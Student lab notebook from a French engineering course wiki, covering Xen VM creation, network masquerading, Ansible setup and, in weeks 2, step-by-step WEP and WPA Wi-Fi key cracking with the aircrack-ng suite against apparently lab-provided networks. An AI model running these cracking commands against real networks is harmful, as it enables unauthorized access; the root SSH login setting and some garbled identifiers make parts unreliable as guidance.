TP sysres IMA5sc 2019/2020 G2 : Différence entre versions

De Wiki d'activités IMA
(Semaine 4 : ASR)
(Cracker le wifi (WPA))
Ligne 23 : Ligne 23 :
 
==Semaine 2==
 
==Semaine 2==
  
 +
===Cassage de clé WEP ===
 +
Pour scanner l'environnement Wi-Fi, on utilise l'outil airodump-ng. On remarque qu'il y a deux types de wifi, les cracottes avec un c et les kracottes avec un k.
 +
On lance l'interface en mode moniteur :
 +
airmon-ng start  wlan0mon
 +
airodump-ng --encrypt wlan0mon
 +
 +
On a choisi de casser la clé WEP de la cracotte5 sur le channel 2, on enregistre les paquets dans webPack.
 +
airodump-ng -c 2 –-bssid 04:DA:D2:9C:5O:5A -w wepPack wlan0mon
 +
La commande suivante permet de se faire passer pour un client afin de générer de l'activité sur le réseau.
 +
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:5O:5A wlan0mon
 +
On utilise les paquets enregistrés pour réaliser le cassage:
 +
aircrack-ng wepDico*.cap
 +
 
=== Cracker le wifi (WPA) ===
 
=== Cracker le wifi (WPA) ===
 
Il faut lancer la commande ip a : récupérer le nom de l'interface wifi : ""wlx40a5ef0f6518"". Il faut le lancer avec la commande :
 
Il faut lancer la commande ip a : récupérer le nom de l'interface wifi : ""wlx40a5ef0f6518"". Il faut le lancer avec la commande :

Version du 16 décembre 2019 à 13:19


Présentation générale

Travaux pratiques protocoles avancés Le sujet du TP se trouve à cette adresse

Réalisation du TP

Semaine 1

Création d'une machine virtuelle

Nous avons acheté notre domaine : mycoplasma.site sur le site gandi.

Ensuite il faut se connecter en shh à Cordouan:

ssh root@cordouan.insecserv.deule.net

Puis créer notre machine virtuelle :

xen-create-image --hostname=mycoplasma --dhcp --dir=/usr/local/xen --dist=buster
xl create mycoplasma.cfg

Semaine 2

Cassage de clé WEP

Pour scanner l'environnement Wi-Fi, on utilise l'outil airodump-ng. On remarque qu'il y a deux types de wifi, les cracottes avec un c et les kracottes avec un k. On lance l'interface en mode moniteur :

airmon-ng start  wlan0mon
airodump-ng --encrypt wlan0mon

On a choisi de casser la clé WEP de la cracotte5 sur le channel 2, on enregistre les paquets dans webPack.

airodump-ng -c 2 –-bssid 04:DA:D2:9C:5O:5A -w wepPack wlan0mon

La commande suivante permet de se faire passer pour un client afin de générer de l'activité sur le réseau.

aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:5O:5A wlan0mon

On utilise les paquets enregistrés pour réaliser le cassage:

aircrack-ng wepDico*.cap

Cracker le wifi (WPA)

Il faut lancer la commande ip a : récupérer le nom de l'interface wifi : ""wlx40a5ef0f6518"". Il faut le lancer avec la commande :

airmon-ng start wlx40a5ef0f6518

Il faut ensuite écouter le réseau, on récupère alors le channel(2), le nom du wifi, le BSSID (04:DA:D2:9C:5O:5A) avec la commande suivante:

airodump-ng --encrypt wpa wlan0mon

Nous avons choisi de cracker "kracote03"

airodump-ng wlan0mon --bssid 04:DA:D2:9C:5O:5A --ch 2 -w capture

Il faut l'arreter une fois qu'on obtient un handshake

G2 WPA.png

Pour générer un dictionnaire, on a besoin de la commande suivante :

sudo apt-get update
sudo apt-get install crunch
crunch 8 8 -o dico.txt 0123456789
  • 8 8 : donne des codes de 8 caractères au minimum et au maximum

On lance cette commande :

airodump-ng -c 2 --bssid 04:DA:D2:9C:5O:5A -w ./home/pifou/crack wlx40a5ef0f6518

Voici une capture de la commande :

aircrack crack/capture.cap -w dico.txt 

G2 catch.png

On remarque ce la photo ci dessus que la commande a pris 21 min et 42 sec.

Semaine 3 :

Une fois la VM créée (semaine 1), il faut installer les packages, donc il faut lui donner l'accès à internet. Il faut modifier le fichier suivant etc/network/interfaces. Pour enregistrer les modifications, il faut exécuter les commandes: if down eth0, ifup eth0.

auto eth0
iface eth0 inet static
 address 193.48.57.178
 netmask 255.255.255.240


Pour le moment, pour se connecter à la Machine virtuelle, on utilise la commande suivante:

xl console mycoplasma

Mais il y a une seconde façon d'accéder à notre VM: en utilisant SHH, pour le faire il faut remplacer la ligne suivante " #PermitRootLogin prohibit-password" par " PermitRootLogin yes" de ce fichier etc/ssh/sshd_config.

Semaine 4 : ASR

Nouvelle VM

L'objectif de ces 12 heures est de créer une nouvelle Machine virtuelle qui serait cette fois-ci privée, elle va permettre d'héberger un serveur Web.

Pour la créer :

xen-create-image --hostname=private-mycoplasma --ip=ip 192.168.0.2 --dir=/usr/local/xen
xl create private-mlycoplasma.cfg

Généralement lorsque les export ne sont pas configurés, la création reste bloquée. Il faut exécuter les commande suivante:

export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128 

et suivre la suite de la création avec le fichier de log:

tail -f /var/log/xen-tools/private-mycoplasma.log


Voici notre nouvelle structure :

G2 Structure.png

Pour y arriver, il faut modifier les fichiers /etc/network/interfaces des deux machines virtuelles avec les adresses, Gateway, et netmask marque sur la photo ci-dessus. Et valider les modifications avec les commandes habituelles : ifdown ethi et ifup ethi

Mascarade

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward
apt install iptables-persistent

Il faut ensuite décommenter

net.ipv4.ipforward=1

Ansible

Ansible permet l'automatisation par connexion sans mot de passe. Il faut d'abord générer une clef asymétrique :

ssh-keygen -t rsa

Installation de la clef publique sur les machines virtuelles 192.168.0.1 à 192.168.0.6  :

cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

Il faut installer Ansible :

apt install ansible

Hosts

Ensuite il faut rédiger l'inventaire ( /etc/ansible/hosts ) c'est un fichier yaml, il faut très attention à la syntaxe. Ce fichier regroupe le parc informatique :

all:
hosts:
 interne:
   ansible_host: 192.168.0.2
children:
 serveur-web:
  hosts:
   192.168.0.[1:6]

Playbooks

Maintenant qu'on a défini toutes les machines dans notre parc et qu'on peut se connecter automatique, on peut exécuter une commande à distance sur tout le parc à l'aide d'Ansible. Un "playbook" c'est une liste des tâches à effectuer sur ces machines.


Semaine 5 : PRA